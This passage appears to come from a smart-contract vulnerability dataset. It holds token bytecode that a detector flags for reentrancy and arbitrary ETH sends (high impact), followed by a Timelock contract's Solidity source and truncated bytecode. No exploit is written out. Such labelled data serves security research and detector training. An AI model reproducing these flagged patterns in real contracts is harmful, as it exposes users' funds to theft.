fffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b5050506729a2241af62c000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60066009819055506004600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b602d4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960068461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660048461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b24a047fc985159da7318eb539ee49b351b3ad194db50f8552f0f536efc3ea3b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,080 |
0xa3d5eaF58d9C933D209fDA9Cf39D77664a5bB86f
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.6.12;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 2 days;
uint public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint public delay;
mapping (bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint delay_) public {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
}
receive() external payable { }
function initiateAdmin(address admin_) public {
require(admin == address(0), "Timelock::initialAdmin: Admin alredy initialized.");
admin = admin_;
}
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call{value: value}(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
|
0x6080604052600436106100e15760003560e01c80637d645fab1161007f578063c1a287e211610059578063c1a287e214610695578063e177246e146106aa578063f2b06537146106d4578063f851a44014610712576100e8565b80637d645fab1461062b578063a4ade6df14610640578063b1b43ae514610680576100e8565b80633a66f901116100bb5780633a66f901146103085780634dd18bf514610478578063591fcdfe146104b85780636a42b8f814610616576100e8565b80630825f38f146100ed5780630e18b681146102b357806326782247146102ca576100e8565b366100e857005b600080fd5b61023e600480360360a081101561010357600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169160208101359181019060608101604082013564010000000081111561014057600080fd5b82018360208201111561015257600080fd5b8035906020019184600183028401116401000000008311171561017457600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156101c757600080fd5b8201836020820111156101d957600080fd5b803590602001918460018302840111640100000000831117156101fb57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610727915050565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610278578181015183820152602001610260565b50505050905090810190601f1680156102a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102bf57600080fd5b506102c8610d6a565b005b3480156102d657600080fd5b506102df610e52565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561031457600080fd5b50610466600480360360a081101561032b57600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169160208101359181019060608101604082013564010000000081111561036857600080fd5b82018360208201111561037a57600080fd5b8035906020019184600183028401116401000000008311171561039c57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156103ef57600080fd5b82018360208201111561040157600080fd5b8035906020019184600183028401116401000000008311171561042357600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610e6e915050565b60408051918252519081900360200190f35b34801561048457600080fd5b506102c86004803603602081101561049b57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166111cb565b3480156104c457600080fd5b506102c8600480360360a08110156104db57600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169160208101359181019060608101604082013564010000000081111561051857600080fd5b82018360208201111561052a57600080fd5b8035906020019184600183028401116401000000008311171561054c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561059f57600080fd5b8201836020820111156105b157600080fd5b803590602001918460018302840111640100000000831117156105d357600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611298915050565b34801561062257600080fd5b50610466611586565b34801561063757600080fd5b5061046661158c565b34801561064c57600080fd5b506102c86004803603602081101561066357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611593565b34801561068c57600080fd5b50610466611649565b3480156106a157600080fd5b50610466611650565b3480156106b657600080fd5b506102c8600480360360208110156106cd57600080fd5b5035611657565b3480156106e057600080fd5b506106fe600480360360208110156106f757600080fd5b503561179a565b604080519115158252519081900360200190f35b34801561071e57600080fd5b506102df6117af565b60005460609073ffffffffffffffffffffffffffffffffffffffff16331461079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603881526020018061184b6038913960400191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561080d5781810151838201526020016107f5565b50505050905090810190601f16801561083a5780820380516001836020036101000a031916815260